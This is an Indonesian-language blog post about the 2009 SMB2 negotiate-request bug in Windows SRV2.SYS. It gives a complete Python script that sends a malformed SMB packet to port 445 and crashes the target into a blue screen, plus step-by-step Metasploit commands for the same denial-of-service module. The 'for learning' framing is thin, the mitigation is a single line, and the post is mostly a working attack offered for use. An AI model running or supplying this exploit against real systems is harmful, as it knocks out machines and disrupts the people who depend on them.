Bug SMB2.0 !!

Bicara bug berarti bicara mengenai vulnerbility (celah keamanan), Cacat yang ditemukan pada SMB2 sebetulnya sudah cukup lama di rilis sekitar september 2009.. tapi berhubung gw baru beberapa hari yang lalu menemukan dan ikut mencoba membuktikanya.. g ada salahnya di share buat bahan pembelajaran. ingat !! buat bahan pembelajaran yah.. 😀

Menurut Laurent Gaffie selaku penemu bug tersebut, menerangkan bahwa bug terdapat pada file SRV2.SYS yang gagal untuk menangani cacat header SMB dalam melakukan negosiasi terhadap request protokol. Negosiasi Request Protokol adalah permintaan klien SMB pertama mengirim ke server SMB, dan digunakan untuk mengidentifikasi dialek SMB yang akan digunakan untuk komunikasi lebih lanjut. dengan memanfaatkan bug smb2 ini attacker dapat mengeksekusi arbitary code secara remote sehingga membuat system menjadi crash bahkan BSOD..

Bug SMB2 berlaku untuk Os : Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC.

Buktikan !!!

ok mari kita buktikan, Selain Menemukan bugs Laurent Gaffie juga membuat shellcode pake bahasa python. Silakan copy & save script, udah ane edit dikit.. hehehe 😛

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
# PAGE_FAULT_IN_NONPAGED_AREA
# Discovered by Laurent Gafie

from socket import socket
from time import sleep
host=raw_input("IP: ")

host = host, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

simpan dengan nama Smb-Bsod.py atau apapun yang penting berekstensi .py. kemudian run..

root@abi71:~# ./Smb-Bsod.py
IP: 192.168.108.19

Pasti langsung crash dan BSOD.

klo mau pake metaspolit juga bisa, gunakan modul use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh.

msf > use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh
msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 192.168.108.19
rhost => 192.168.108.19
msf auxiliary(smb2_negotiate_pidhigh) > run

Solusi : tutup semua layanan yang membutuhkan port 445 sampai ada patched terbaru, bisa gunakan security software third party..

NB: Segala bentuk kerusakan yang di akibatkan setelah membaca artikel ini diluar tanggung jawab penulis 😐

Advertisements
This entry was posted in Metasploit. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s